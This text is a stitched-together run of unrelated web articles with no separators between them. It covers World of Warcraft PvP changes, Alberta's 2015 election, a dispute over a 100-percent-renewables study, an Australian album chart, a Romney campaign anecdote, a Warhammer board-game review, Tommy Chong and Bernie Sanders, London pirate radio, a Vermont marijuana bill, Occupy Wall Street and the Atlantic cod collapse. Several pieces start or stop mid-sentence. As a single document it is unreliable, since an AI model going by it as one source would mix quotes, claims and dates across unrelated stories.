We also believe that the changes will make it easier for those who aren’t PvPing now to give it a try or possibly motivate those that play only rarely to play more often. While they will do less damage than a player with PvP gear, they will have the same survivability, Stamina and Resilience. The damage differences shouldn’t be so great that they will be ‘insta-gibbed’ by the average opponent in PvP gear either. We expect these improvements will make PvP more fun for both hardcore players who want a more even playing field, as well as competitors who just want to dive in and have some fun without feeling the need to assemble a specialized gear set.
We Want Your Feedback!
This is a pretty massive change for World of Warcraft and while it would probably be more appropriate at the start of a new season, or even an expansion, we want to address the current gear situation quickly. We think this solution will help us meet our design goals and help create a more active, competitive, and fun PvP environment.
We know that concerns and questions are inevitable, and we look forward to hearing your thoughts on the subject. We invite you to try these changes on the PTR for yourself, and we’ll be watching for your feedback on the PTR Discussion forum.CALGARY—Rachel Notley has parachuted behind enemy lines for a BLT with avocado and a side salad. The Alberta NDP leader, a woman chasing history in next Tuesday’s provincial election, sits in a café next door to the Chevron Tower. She’s essentially down the hall from the Canadian Association of Petroleum Landmen and Petroleum Technology Alliance Canada.
There is no doubt Notley has the PC gentry spooked. She won last week’s leadership debate and she appears to be having fun on the campaign trail. None of that, however, necessarily translates into victory. But it could translate into the strongest NDP opposition in provincial history, writes Tim Harper. ( Jeff McIntosh for the Toronto Star )
This is not a typical NDP stomping ground in Alberta. In fact, there have been years when the NDP had no ground to stomp anywhere in this province. Now the 51-year-old Notley has set up shop in the shadow of the oil patch for four days for what Progressive Conservative Leader Jim Prentice has called a battle of “two competing visions’’ for this province. There is no doubt Notley has the PC gentry spooked. She won last week’s leadership debate and she appears to be having fun on the campaign trail, as if she is playing with house money and has nothing to lose.
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None of that, however, necessarily translates into victory. But it could translate into the strongest NDP opposition in provincial history. Albertans are far more progressive than the rest of the country believes, says Notley, who rightly points to the diversity, education level and youth of this province. “There is a national urban myth about Alberta and it is incorrect,’’ she says. “If you poll Albertans on issues rather than politics, they poll progressively. “We’ve disconnected our beliefs and our values from our politics, because there is this narrative that the Tories have always been, and always will be, in power.’’ Reconnect values and politics and she’s away to the races, she believes.
But not so fast. By any yardstick, an NDP government in Alberta is a long shot. The party is strong in Edmonton, but it is hard to see where it could win the seats in Calgary and rural Alberta to overcome the historically fierce resistance to the socialist hordes in a free-enterprise province.
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Notley’s rise, however, has been aided and abetted by Prentice himself, particularly a budget the PC leader tabled that included an array of taxes and levies on consumers, but left corporate tax rates here untouched. And then there was the infamous Prentice line that Albertans should “look in the mirror” if they want to understand the financial straits the province now finds itself. “If he does lose a majority and someone writes a book on this campaign, that should be the title,’’ Notley says. Everyone is searching for a parallel here to try to understand dynamics that are, frankly, leaving a lot of longtime Alberta watchers scratching their heads. Are we watching something comparable to Bob Rae’s stunning Ontario victory a generation ago or is Alberta 2015 comparable to Jack Layton’s Orange Wave in Quebec in 2011? This campaign is all Notley, just as it was all Layton in Quebec. In parts of the province, there does seem to be a wave, just like the one Layton rode to opposition in 2011. Layton used to tell stories of talking to five or six people at a time at barbecues in Quebec before his breakthrough. Notley tells the same story, about talking to six people at barbecues in Lethbridge in 2008, but then four years later being feted on her birthday by 200 supporters in a local bar. In between there were repeated visits, one-on-one talks, and a lot of hard work and she now believes she can win both seats there next Tuesday. Prentice routinely ignores Wildrose and leader Brian Jean, as if that party is merely a free-floating repository for anger that will dissipate by election day. Instead, he goes after Notley, who he accuses of killing jobs by refusing to push for the Northern Gateway or Keystone XL pipelines (Notley does back the Kinder Morgan route to the West Coast and the proposed Energy East pipeline). He says she will chase more jobs out of the province with higher corporate taxes and an energy royalty review. From a central Canadian perspective there is nothing scary about Notley, but Prentice can still exploit fear here in Calgary. Lunch finished, I hop in Joe Moston’s cab and mention my dining companion. “Oh yeah, the commie,’’ he says. “This is a free enterprise capitalist society. There’s no room for her type here.’’ Notley has been hearing this here for years. History will happen one day because the province is simply changing too much for the PC dynasty to rule forever. But next Tuesday just might be rushing history. Tim Harper is a national affairs writer. His column appears Monday, Wednesday and Friday. tharper@thestar.ca Twitter:@nutgraf1
Read more about:A group of researchers have published a scathing rebuttal to a 2015 report claiming the U.S. could run on 100 percent green energy, which they say suffered from “significant shortcomings.”
The 2015 study led by Stanford University professor Mark Jacobson claimed wind turbines, solar power and hydroelectric dams could power the entire U.S. But 21 researchers published a retort to Jacobson’s study in the Proceedings of the National Academy of Sciences (PNAS).
Jacobson’s “work used invalid modeling tools, contained modeling errors, and made implausible and inadequately supported assumptions,” reads the PNAS study’s abstract.
“Policy makers should treat with caution any visions of a rapid, reliable, and low-cost transition to entire energy systems that relies almost exclusively on wind, solar, and hydroelectric power,” wrote the 21 experts, led by the National Oceanic and Atmospheric Administration’s Christopher Clack.
The researchers were worried politicians would use Jacobson’s study to promise a “greener” world that’s more expensive and less technology achievable than they let on.
David Victor, an energy policy expert at University of California-San Diego and PNAS co-author, said Jacobson’s study sets “wildly unrealistic expectations” that could cause a “massive misallocation of resources.”
“That is both harmful to the economy, and creates the seeds of a backlash,” Victor told MIT Technology Review.
So far, only Hawaii has a policy calling for 100 percent green energy, but California Democrats are pushing legislation to get all its electricity generated from green energy by 2045.
Environmentalists and some Democrats hailed Jacobson’s paper when it was first published. The study was even featured in the anti-fracking film “Gasland II” and attracted the attention of celebrities, like Mark Ruffalo.
Jacobson’s paper also spawned the creation of the “Solutions Project” — a non-profit dedicated to “moving all of us to clean, renewable energy powered by the wind, water, and sun.” Ruffalo sits on its board, along with Jacobson.
A group of left-leaning non-profit foundations, including the Leonardo DiCaprio Foundation, the Tides Foundation and the Rockefeller Family Fund, back the Solutions Project.
Jacobson did not sit idly by, and published his own rebuttal to the PNAS report. He also lashed out against the PNAS authors in the media.
“They try to falsify this thing by claiming that there are errors,” Jacobson told The Washington Post. “This is what really bothers me with this paper. I don’t have any problem with people trying to quibble with our assumptions.”
“There is not a single error in our paper,” Jacobson told Technology Review in a short email.
He even accused Clack of using “intentional misinformation” to back his study and said his critics had a financial incentive to dispute his research.
“They’re either nuclear advocates or carbon sequestration advocates or fossil-fuels advocates,” Jacobson said. “They don’t like the fact that we’re getting a lot of attention, so they’re trying to diminish our work.”
Essentially, the criticism of Jacobson’s paper comes down to modeling and assumptions.
“They do bizarre things,” PNAS co-author Daniel Kammen of the University of California-Berkeley, told Technology Review.
“They treat U.S. hydropower as an entirely fungible resource. Like the amount [of power] coming from a river in Washington state is available in Georgia, instantaneously,” he said.
PNAS study authors say the U.S. could get 80 percent of its energy from sources that emit no carbon dioxide, but that goes beyond solar, wind and hydro power. The authors say nuclear energy, bioenergy and carbon capture and storage systems for biomass would be needed.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.The ninth studio album for Eminem “Revival” becomes his ninth No.1 album on the ARIA Albums chart this week, debuting at the top as the last No.1 for 2017.
“Revival” becomes the 815th No.1 Album in Australia (1965 to 2017) and the 666th {yes true} No.1 Album for ARIA (1983 to 2017), plus the 459th album to debut in the No.1 spot. It becomes the 27th chart topping album for the Interscope record label and second this year after the Lana Del Rey set “Lust for Life” at the end of July. The album is the 24th and final No.1 for this year too, the fifth highest amount for this decade (2016 leads with 43 #1 albums during the calendar year).
The nine No.1’s for Eminem are made up of seven studio albums, one Best of and one Soundtrack (8 Mile), which places him outright seventh on the list for ‘Most No.1 Albums”, one ahead of Pearl Jam (8 #1’s) and one behind John Farnham and Bon Jovi’s ten chart topping albums. On the list for “Accumulated Weeks at No.1: Albums; 1965 to 2017’ he moves up to equal fifteenth alongside the 27 weeks notched up by Skyhooks from their two No.1 albums. During this decade Eminem has spent twelve weeks at No.1 placing him sixth (still) on the list for ‘Accumulated Weeks at No.1: Albums; 2010’s’.
This is the first time that the word ‘Revival’ has appeared in a No.1 album title (but not in a No.1 album group, as Creedence Clearwater Revival had two #1’s here). The new No.1 album becomes the 287th by an American Artist (solo, duo or group) to hit No.1 in Australia and the seventh for 2017, and Eminem’s “Revival” is also the 225th by a Solo Male Artist to hit No.1 and the sixth for this year, whilst the last solo US Male to hit the top here was Frank Ocean back in August 2016. In the list for ‘Most Weeks at No.1: Albums; US Solo Males’ Eminem is third behind Michael Jackson (30 weeks) and Neil Diamond (46 weeks).
Pink holds at No.2 with her “Beautiful Trauma” album, which is now 4x▲Platinum in sales, whilst last weeks No.1 for Ed Sheeran and “÷ (Divide)” drops back down two places to No.3, which pushes down a single place each “Christmas” for Michael Buble, “Friends for Christmas” by John Farnham and Olivia Newton-John and “Reputation” for Taylor Swift to No.4, No.5 and No.6 respectively, which also means that the entire Top 6 albums are all current or former No.1 albums.
Returning for a second week within the Top 10 is the “Christmas with…” album for Elvis Presley and the RPO, jumping up four places to a new peak of No.7 and giving us three seasonal sets within the Top 10 at the end of the year. Elvis’ jump pushes down “The Thrill of it All” by Sam Smith and “The Secret Daughter: Season 2” for Jessica Mauboy a single place to No.8 and No.9 respectively, whilst the Daryl Braithwaite collection “Days Go By” stays at No.10 for another week.
UP:
* The Roy Orbison and RPO teaming on “A Love So Beautiful” is back up four to No.13 and his best of “The Ultimate Collection” returns to the chart at No.79.
* The soundtrack for “Guardians of the Galaxy Vol.2” is back up five to No.18, with the other rising soundtrack being for the TV series “Stranger Things” (HP-62, 85 to 64).
* Triple J’s “Like a Version Vol.13” rises again this week, up five to No.22.
* The Foo Fighters have a ten place jump to No.26 for their “Concrete and Gold” album.
* Last Friday nights TV special of Bruno Mars ‘Live at the Apollo: N.Y.’ helps his “24k Magic” album to jump up sixteen places to No.27.
* Macklemore’s “Gemini” is back up seven places to No.30.
* The Cold Chisel collection “Best of-All for You” is up fourteen places to No.32, with other rising GH’s being for Eminem (47 to 36), Paul Kelly (54 to 37, thanks to Paul Kelly day this past week), Midnight Oil (55 to 49), Fleetwood Mac (Best of: 58 to 51 and GH 95 to 74), The Eagles (61 to 57), Guns N’ Roses (69 to 60), Elvis Presley (81 to 71), Red Hot Chili Peppers (99 to 85), ABBA Gold (re-enters at No.88) and “Legacy” for David Bowie (returns at No.97).
* The George Michael repackaged “Listen without Prejudice/MTV Unplugged” double returns at No.63 thanks to a replaying this past week of his ‘Freedom’ TV special.
* With the just released “Hey Hey Hey” single from Katy Perry’s “Witness”, it rises eleven to No.69.
* After tumbling to No.97 last week, The Rolling Stones early recordings “On Air” is back up eight places this week to No.89.
* Further returning albums are for Keith Urban and “Ripcord” (#92), the repackaged “Currents” for Tame Impala (#93) and topping-and-taling the Top 100 this week is Eminem, as his set “The Eminem Show” is back in at #100.
DOWN:
* Two albums leave the Top 10 this week, with the latest U2 set “Songs of Experience” (HP-5, WI10-2) down three places to No.12, and last weeks highest entry “What Makes You Country” for Luke Bryan (HP-6, WI10-1) tumbling down seventeen places to No.23.
* Gang of Youths’ “Go Farther in Lightness” and Niall Horan’s “Flicker” are both down nine places to No.28 and No.29 respectively.
* Guy Sebastian drops seven places to No.35 with his “Conscious” set.
* There’s a nineteen place fall to No.40 for the Post Malone album “Stoney”.
* Harry Styles’ self-titled debut album drops back down fourteen spots to No.44.
* Khalid sees his “American Teen” set fall sixteen spots to No.47.
* The repacked Kendrick Lamar set “DAMN.” is back down fourteen places to No.55.
* With his tour now over the Shawn Mendes set “Illuminate” drops ten to No.61.
* The Seal “Standards” album drops back down thirteen places to No.62.
* Last weeks live album debut for Barbra Streisand and “The Music… The Mem’ries…The Magic!” drops twenty-one spots to No.66.
* Another tour-over-drop is for The Weeknd and his “Starboy” album, which is down nineteen places to No.67.
* Chris Brown has just issued an expanded edition of his album “Heartbreak on a Full Moon”, but this week it drops down sixteen places to No.68.
* Cat Stevens’ finished tour sees his collection “Remember Cat Stevens” fall down fourteen places to No.70, with other collections falling for Queen (62 to 73), Crowded House (68 to 82) and The Foo Fighters (73 to 84).
* The debut last week for the soundtrack “The Greatest Showman” is down fourteen places to No.77, but the film opens this coming week (26th Dec), so it should rise next week.
* Little Mix drop down eighteen places to No.78 with the Platinum edition of “Glory Days”.
* Tash Sultana’s EP “Notion” is down fourteen places to No.86.
* The Tim McGraw and Faith Hill album “The Rest of Our Life” is down twenty-one to No.87.
* Maroon 5’s “Red Pill Blues” and Justin Bieber’s “Purpose” both suffer a twenty place drop to No.90 and No.91 respectively.
* Sia is down ten places to No.96 with her set “This is Acting”.
* The only Top 50 dropout from the Top 100 this week is the “Pure McCartney” album by Paul McCartney from No.35.
CHRISTMAS TITLES:
* There are three Top 10 seasonal titles this week and three more within the Top 20, with the Mariah Carey “Merry Christmas” stable at No.14, recent quick-tourists here Human Nature jump up ten places to No.15 with their “Christmas Album” and the Sia original-Xmas tunes album “Everyday is Christmas” is down three places to No.19.
* “A Pentatonix Christmas” is down seven places to No.31.
* Whilst falling five spots to No.39 is the Chris Isaak set “Christmas”.
* Dropping a massive twenty-one spots to No.50 is The Wiggles with “Wiggly, Wiggly Christmas”.
* Josh Groban is stable at No.59 this week with his repackaged “Noel” seasonal set.
* Two albums climbing to new peaks are “One Voice at Christmas” by Aled Jones (88 to 76) and the “Trolls Holiday” soundtrack (92 to 80).
* The final seasonal set is the Hanson album “Finally it’s Christmas”, down sixteen places to No.94.
FURTHER NEW ENTRIES:
* #20 (Live#3) – One More Light Live by Linkin Park is the bands third Live album to chart here after “Live in Texas” (HP-18, Dec 2003) and “Road to Revolution” (HP-24, Dec 2008) and was recorded in June of this year during their European tour, before their lead singer passed away in mid-July.
* #38 (LP#4) – The Beautiful & Damned by G-Eazy becomes the US rappers third albums chart entry here after “These Things Happen” (HP-98, June 2014) and “When it’s Dark Out” (HP-36, Dec 2015), with two singles from the current album charting at the moment.
* #48 (Stk) – Pitch Perfect 3 Soundtrack has the film opening in Australia on New Years Day, |
. “And as the president of the company he decided to close the factory in Michigan and move all the production to Wisconsin. Now later he decided to run for governor of Michigan and so you can imagine that having closed the factory and moved all the production to Wisconsin was a very sensitive issue to him, for his campaign.”
Romney said he recalled a parade in which the school band marching with his father’s campaign only knew the Wisconsin fight song, not the Michigan song.
“So every time they would start playing ‘On Wisconsin, on Wisconsin,’ my dad’s political people would jump up and down and try to get them to stop, because they didn’t want people in Michigan to be reminded that my dad had moved production to Wisconsin,” said Romney, laughing.
It's a line the Democrats couldn't have scripted better in pigeonholing a man Vice President Joe Biden referred to this morning as "out of touch." And the story was quickly flagged by the Obama campaign and sent to press with the subject line, "Romney Finds Humor in MI Lay Offs."Lots of cards, lots of tokens, yes it's a Fantasy Flight Game.
Levelling up is controlled by the nifty player card.
The character busts are rather nice.
Not all the threat cards are bad, some actually help, though not many.
The game gets harder the nearer you get to the centre.
Corruption cards offer vile gifts or heretical curses but don't activate until you are suitably corrupted.
The board is a gaudy and sometimes difficult to read but the artwork is stunning.
Do you remember when Games Workshop made board games? Space Hulk Talisman, Doom of the Eldar (maybe that last one should be ignored)? It seems an age ago now but at one time Games Workshop where the kings of theme based board games. Time has passed and the mantle has been handed on to Fantasy Flight Games, along with many of Games Worksop’s licences and settings. Relic is the latest offering as Fantasy Flight have combined the Warhammer 40,000 universe and Talisman’s game mechanics into an epic space quest to defeat the evils of chaos.For those not familiar with the setting, the 41st millennium is home to Games Workshop’s sci-fi wargame. It’s a dark and grim future where humanity is in decline, being attacked on all sides by brutal Orks, crafty Eldar and vile bio-engineered Tyranids. The fourth enemy is from within. The Warp, humanity’s means of interstellar travel has released the daemons of chaos who wish to corrupt and transform humanity into something quite nasty.In Relic, you take on the role of one of the heroes of the Imperium as you explore the Antian sector and attempt to defeat the chaos presence at the centre of the warp rift. The type of threat posed is based on one of five scenarios. Each one affects the game in subtle ways and may have you defeating a greater daemon of Tzeentch or attempting to destroy a Chaos Manufactorum (factory to you and me). After selecting your hero you get handed their very nifty player card and dial system. This not only keeps track of all your stats but also outlines how your character will advance. Considering it’s just a piece of card and some dials it works very well and feels like a true innovation in board gaming.You’ll then be handed your first mission. To enter the warp rift at the centre of the board you’re going to need a Relic, a prized piece of humanity’s technology and a very powerful item for you to use. To gain access to a Relic you have to prove you are worthy of it by completing three missions. These missions involve seemingly simple tasks such as visiting a particular location or landing on the space of another player. These missions drive the game forward and give purpose to your adventures.Play is pretty straightforward, roll a dice and move that many spaces around the board in a direction you wish and then draw threat cards as indicated by the space you land on. The threat cards are colour coded to represent the three alien races you’ll face and largely represent the type of skill you’re going to need to defeat them. I say largely, every so often a random encounter will test a different kind of skill which catches you off guard. Most encounters are combat based and consist of rolling a dice, adding your skill and then getting another player to do the same for your enemy. There’s a bit more to it than that though, roll a 6 and the dice ‘explodes’ and you get to roll another dice, roll a second six and then another and so on. Exploding dice mean that players always have a chance of defeating the most powerful adversaries; unfortunately your foes can do the same. The second little aid in combat is the power cards. Power cards have two sections to them, ability and a number, at any time a player can replace a potential dice roll with a power card, using its number in place of the die result or players can use the ability as described on the card. This makes power cards a particularly prized item and having a character who can easily replenish their spent power cards is particularly strong. As the game progresses players level up, upgrade their skills, grab war gear and hopefully complete the missions required to acquire a Relic.Relic is a great blend of theme and mechanics, the rules aren’t too complex and the sense of adventure runs throughout. It isn’t a particularly tactical or strategic game. You’ll have a general aim in mind, such as complete a particular mission or upgrade your character’s equipment, but generally things happen to your character and your goal is to ride these out or take advantage of them. This randomness is what Relic is all about and shouldn’t necessarily be taken as a bad thing. Those insightful amongst you may have noticed the main fault in Relic; roll and move. Yes, its 2013 and it’s Relic’s biggest flaw. The game does attempt to overcome this by allowing you to use Power cards to tweak your dice rolls. The problem is these power cards are in short supply. Not having a power card handy and wanting to land on an exact space to complete a mission or move onto the next region can be infuriating and can really hinder a player’s progress.Relic is awash with the Warhammer 40,000 theme, players familiar with the setting will recognise characters, places and weapons but you don’t need to be a Warhammer nut to appreciate the game. Relic’s mechanics and artwork means that players can grasp the game as a generic space opera and not have to differentiate their Ghazghkulls from their Fabius Biles. This theme is strongest in the form of the corruption system. The lure of chaos is ever present and players are tempted at every turn by corruption cards. These are often offered in exchange for level or skill advances or can be picked up along with an encounter. Each corruption card has a threshold level; the effect of the card doesn’t kick in unless the number of corruption cards you own is above that corruption level. The cards are a mixture of positive and negative effects and you’re never sure whether the chaos gods will bless you and aid your quest or mock you with a crippling weakness. Be careful though, too many cards and your character succumbs completely to chaos and is taken out of the game, you can then take a new character but since full corruption is more likely towards the end of the game you’re going to be hard pressed to catch up with the other players.I've resisted so far but it is hard to talk about Relic without comparing it to Talisman. Talisman’s hereditary is clear in many aspects of the game; the roll and move, the board layout and the centre threat. Several tweaks have been made that address many of the issues that exist with the original game. The level and skill cap mean there’s no need for players to continue levelling forever; there comes a point where not attempting to compete the scenario is just time wasting. The power cards in particular help level out a some of the randomness of dice rolls and are my favourite addition to the game. The biggest change though, and the one that makes the game much more palatable to those who believe there is a lack of choice in Talisman, is the themed threat decks. Now there are more meaningful decisions on where to move and players can attempt encounters where they are more powerful but there is always the risk that the threat deck will throw something unexpected at you. All these changes make Relic a tighter, smoother and more consistent game than Talisman but still maintain the randomness to keep you on your toes. The game also tends to play quicker than Talisman but it can still drag on for over three hours, especially on the more difficult scenarios. Even with all these additions the game can still fall victim to the randomness; your dice may fail you or the threat deck may produce something really nasty. The biggest of these issues is the return of the roll and move; there is nothing more frustrating than having to complete a mission by landing on a particular space and not getting the dice roll you need to do so. One aspect of Talisman that is missed though is the direct combat. Talisman is just as much about attempting to screw over the opposition as it is about winning and, although there are opportunities to screw your opponent, in Relic they are few and far between. The question on whether this game is for you will depend on your previous experience with the Warhammer 40,000 universe and Talisman. If you’re a fan of both then this is a must buy; it gleefully combines the Talisman mechanics with the scale and themes of the dark millennium setting. Talisman fans should definitely pick this up; you’ll appreciate the improvements but may miss the lack of direct confrontation. If you’re not a fan of Talisman, then the changes that Fantasy Flight Games have implemented, although great, may not be enough to persuade you to switch. Randomness and luck are still at the heart of the game and if you don’t like these in your game then Relic won’t be for you. Last but not least are the Warhammer 40,000 fans that might be new to the world of board games who will love all the 40k references. Relic is a smoother tighter game and more timely game than its parentage with the power cards and corruption system are both great mechanics that build on the basic framework of Talisman and make it into something greater. This game is exactly what it should be; an entertaining adventure filled caper through the Warhammer 40,000 universe.Story highlights Tommy Chong says the Sanders campaign withdrew an invitation to speak
The "Cheech and Chong" star has been a vocal backer of the Vermont senator's campaign
(CNN) The political lovefest between Tommy Chong and Bernie Sanders looks like it might be going up in smoke, as the comedian complained Monday that the campaign had rescinded its invitation to have him speak at a Los Angeles rally.
"I have done lots of campaigning for Bernie, his causes, and the messaging his campaign staff has either emailed or contacted me directly on," Chong wrote on Twitter, adding minutes later: "After months of support and endorsement videos, I have to report that Bernie Sanders pulled away his invite to me."
Unfortunately after months of support and endorsement videos, I have to report that @BernieSanders pulled away his invite to me. — Tommy Chong (@tommychong) May 23, 2016
L
ater in the day, though, Chong's initital disappointment seemed to soften.
"Hey just heard that there was a scheduling conflict with the Bernie Sanders rally!" he tweeted. "Hope to continue my support, reschedule, and continue activism, political change and promoting peace anywhere possible."
Hey just heard that there was a scheduling conflict with the @BernieSanders rally! — Tommy Chong (@tommychong) May 23, 2016
Read MoreDozens of raids against pirate radio stations in Islington and Hackney
Leo Chapman has struggled to tune in to BBC Radio Three due to pirate radio interference. Picture: Dieter Perry Dieter Perry
Dozens of raids against pirate radio broadcasters have been mounted in Islington and Hackney this year – but they have not stopped one frustrated listener from hearing pumping bass when he tries to tune into a classical station.
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Squads from government watchdog The Office of Communications (Ofcom) – known as spectrum enforcement teams – have swooped on illegal stations 49 times since January.
Many are repeat offenders that have faced action time and again, including one known as Passion FM that has been targeted four times when transmitting from sites in the EC1 and N1 postcodes.
Ofcom said there were 40 raids in Islington, against 12 different stations, and nine operations in Hackney.
The figures were obtained by the Gazette following the trials of a reader who struggled to tune in to classical station BBC Radio Three.
Leo Chapman, of Dufferin Street, Finsbury, said: “I have been unable to get Radio Three for two weeks – all I get instead is beat music. It’s mindless bang bang music with hysterical DJs shouting away and that’s not quite my sort of thing.
“It’s happened before, but usually it closes down pretty fast.”
The chief suspect is Passion FM once again, although Mr Chapman said the problem finally cleared up over the weekend, without any further Ofcom raid.
A spokesman for Ofcom said: “Passion FM sounds likely. We have taken action against it over the past year in that area.
“They broadcast at around 91.8 FM, which is within the Radio Three frequency.
“We can’t say for definite that it’s this particular station, although it has covered that area. There have been quite a few operations against Passion, most recently in August, and it’s a station that we are aware of and are keeping a close eye on.”
The offence of illegal broadcasting carries maximum penalties of an unlimited fine and up to two years in prison.
n You can call Ofcom on 020 7981 3000 to report pirate radio activity.Backers of a new marijuana legalization bill say they’re very disappointed that many members of the House Republican caucus and a number of Democrats voted to block consideration of the legislation in Wednesday’s veto session.
The bill won approval in the Senate on a voice vote but a procedural requirement called a "rules suspension" was needed to bring the proposal to the House floor for debate.
To open debate on the new bill 107 votes were needed but supporters fell far short of reaching that goal. Only 78 House members voted to suspend the rules and 63 members voted against the plan.
The new legislation included the framework of an agreement that was reached between Democratic leaders and Gov. Phil Scott.
The bill would have allowed people over 21 to possess up to an ounce of marijuana and they could also grow several plants.
It also addressed a number of public safety concerns that the governor had with the original bill and it expanded the work of a special commission that will look at ways to implement a state regulatory system with retail stores and the taxation of marijuana.
"So we don't need to be first, we don't even need to be 25th in my mind, let's learn from the people that have legalized it." — House Minority Leader Don Turner
House Minority Leader Don Turner defended the decision to block consideration of the bill. He says Vermont should not be in a rush to legalize marijuana and he thinks state officials could use the coming months to learn about any problems that might come up in other states.
"We will learn from each of those places that legalize it and whatever way shape or form they legalize it, and the issues that crop up as a result of the way they've legalized it, we won't have to go down that path,” said Turner. “So we don't need to be first, we don't even need to be 25th in my mind, let's learn from the people that have legalized it."
As VPR reported earlier in June, Scott initially indicated he would reach out to members of the House Republican caucus to encourage them to suspend the rules and allow the bill to proceed.
House Judiciary Chairwoman Maxine Grad was disappointed with the outcome because she thinks many Vermonters want lawmakers to vote on this issue.
"Vermonters should have the opportunity to be involved in the conversation and by having the vote come to the floor it allows us as representatives to have the conversation," said Grad.
"None of the components of the bill other than the commission take effect until July 1 of 2018, so I think we're more poised to have agreement in January of 2018." — Senate Judiciary Chairman Dick Sears
Despite the setback in winning approval for a legalization bill this year, Senate Judiciary Chairman Dick Sears said the groundwork has been set for lawmakers to address this issue when they return to the Statehouse in January.
"None of the components of the bill other than the commission take effect until July 1, 2018 so I think we're more poised to have agreement in January of 2018, " said Sears.
Sears says he'll encourage Scott to create the special commission through an Executive Order because this action will give the panel additional time to do its research.Occupy Wall Street enters second month amid global protests
By Bill Van Auken
18 October 2011
The Occupy Wall Street protest in lower Manhattan marked the completion of its first month Monday. The anniversary came just two days after mass demonstrations around the world gave powerful expression to the growing anger of working people in country after country over the conditions of mass unemployment, falling living standards and stark inequality that have been created by capitalism around the globe.
The month-old protest movement has provoked wildly divergent responses from the masses of working people and the ruling elite in New York City, one of the most socially polarized cities in the world.
A Quinnipiac University poll released on Monday indicated that fully two-thirds of New York City's registered voters support the demonstrators' hostility to the banks and their demands for social equality.
According to the poll, 67 percent of those polled said they supported the views expressed by the protesters, while only 23 percent said they opposed them. Meanwhile, New Yorkers by an overwhelming margin of 87 percent to 10 percent support the right of the demonstrators to remain in Liberty Plaza.
As the poll was released, New York City's billionaire Mayor Michael Bloomberg used a news conference in the borough of Queens Monday to issue another thinly veiled threat to use police force to break up the month-old occupation.
“The Constitution doesn't protect tents,” Bloomberg told reporters. “It protects speech and assembly.”
The mayor, who owes his personal fortune of over $18 billion to his long connections to Wall Street, continued, “We can't have a place where only one point of view is allowed. There are places where I think it's appropriate to express yourself, and there are other places that are appropriate to set up Tent City. They don't necessarily have to be one and the same.”
The city and the private corporate owner of the occupied park, Brookfield Office Properties, backed down last Friday from a plan to use police force to clear the area on the pretext that it had to be cleaned. The tactical retreat by the city came in the face of a mobilization of thousands of supporters of the protest movement in Friday's pre-dawn hours.
Bloomberg made it clear that the police would be used to prevent any occupation of a city park, but suggested that Liberty Plaza's corporate owner would have to call for police action there.
“This is not a city park,” he said. “A city park, we have rules and regulations. We have curfews. We enforce those and would enforce those no matter who it was or what their objectives were. But this is owned by Brookfield and they'll have to make that decision.”
The mayor's formal avowals of respecting First Amendment rights notwithstanding, there can be no doubt that the city and Brookfield are actively preparing to suppress the month-old demonstration.
The New York Police Department has arrested nearly 900 demonstrators since the protest began on September 17 and has repeatedly employed excessive force and brutality, including during the protest march that saw as many as 20,000 people pour into Times Square on Saturday evening. Mounted police were sent charging into packed crowds in an attempt to drive them back, and cops arrested over 80 people.
Another 700 were arrested on October 1 after police led marchers halfway across the Brooklyn Bridge, only to surround them and carry out mass arrests.
Lawyers representing the demonstrators are demanding that all charges—most of them summonses and desk appearance tickets for minor offenses such as resisting arrest, obstructing traffic, or wearing a mask—be dropped. If not, they threaten to clog the courts by taking all the cases to trial.
The first of the cases are set to come up on November 15, when 60 demonstrators are supposed to appear before a judge.
Meanwhile, Occupy Wall Street-inspired protests continued in many cities in the US and worldwide Monday, after the weekend's demonstrations brought hundreds of thousands into the streets.
In many cities, protests continued in spite of mass arrests and police intimidation. In Chicago, for example, 175 people were arrested in the early morning hours Sunday on charges of violating an 11 pm curfew in Grant Park. The Chicago Tribune reported Monday that officials in the administration of Mayor Rahm Emanuel, President Barack Obama's former top White House aide, viewed the mass arrests as a “trial run” for even larger scale repression next May, when the city is set to host back-to-back G-8 and NATO summits.
In Phoenix, Arizona, protesters marched on the city's jail chanting, “Bankers got a bailout, we got jail,” after 45 demonstrators were arrested early Sunday for failing to leave downtown's Margaret T. Hance Park by 10:30 pm.
Earlier on Saturday, police had provided a cordon of protection for a group of neo-fascists organized in the anti-immigrant “Arizona Border Guard,” who staged an armed counter-demonstration against the thousands of anti-Wall Street protesters. The fascists paraded in combat fatigues carrying assault rifles.
Meanwhile, in Europe, hundreds of demonstrators, styling themselves Occupy London Stock Exchange, remained encamped in a square outside of London's St. Paul's Cathedral. The church's authorities on Sunday demanded that police trying to expel the demonstrators leave.
Hundreds more demonstrators erected 50 tents outside the European Central Bank in Frankfurt, Germany, where several thousand had demonstrated on Saturday. And in the Netherlands, protesters had pitched some 40 tents outside the Amsterdam stock exchange.
On Monday, European Union leaders issued phony expressions of sympathy for the hundreds of thousands of protesters who had turned out in Spain, Portugal, Italy, Britain, Germany and elsewhere across Europe.
In a news conference that followed a meeting with businessmen and union officials, EU Council president Herman Van Rompuy declared, “The concerns of those young people on growth and employment are totally legitimate. But our responsibility is to go through this unpopular period in order to safeguard a better future.”
In other words, the “legitimate” concerns notwithstanding, Europe's ruling elites will continue with the savage austerity policies that are driving up unemployment and destroying the social rights of working people.
The WSWS continues its coverage today of the weekend's protests with on-the-spot reports from the US, Australia and Britain.[1][2] The Atlantic fishery abruptly collapsed in 1992, following overfishing since the late 1950s, and an earlier partial collapse in the 1970s.
In 1992 the Canadian Federal Minister of Fisheries and Oceans, John Crosbie, declared a moratorium on the Northern Cod fishery, which for the preceding 500 years had largely shaped the lives and communities of Canada's eastern coast. Fishing societies interplay with the resources which they depend on: fisheries transform the ecosystem, which pushes the fishery and society to adapt.[3] In the summer of 1992, when the Northern Cod biomass fell to 1% of earlier levels,[4] Canada's federal government saw that this relationship had been pushed to the breaking point, and declared a moratorium, ending the region's 500-year run with the Northern Cod.
[5] Capture of the Atlantic northwest cod stock in million tonnes, with Canadian capture in blue
[5] Capture of the Atlantic northwest cod stock in million tonnes, apart from Canada
Observations on the reduced number and size of cod, and concerns of fishermen and marine biologists[6] was offered, but generally ignored in favour of the uncertain science and harmful federal policies of Canada's Department of Fisheries and Oceans until the undeniable complete collapse of the fishery. According to any reasonable analysis, the collapse was first due to massive overfishing. Second, the dependence for maintenance of the fishery itself on the nutrient cycle that was being disrupted by removal of megatons of biomass from a closed system resulted in the starvation of the residual fish.[7] Academics have highlighted these following four contributing factors in the eventual collapse of the cod fishery.
Technological progress [ edit ]
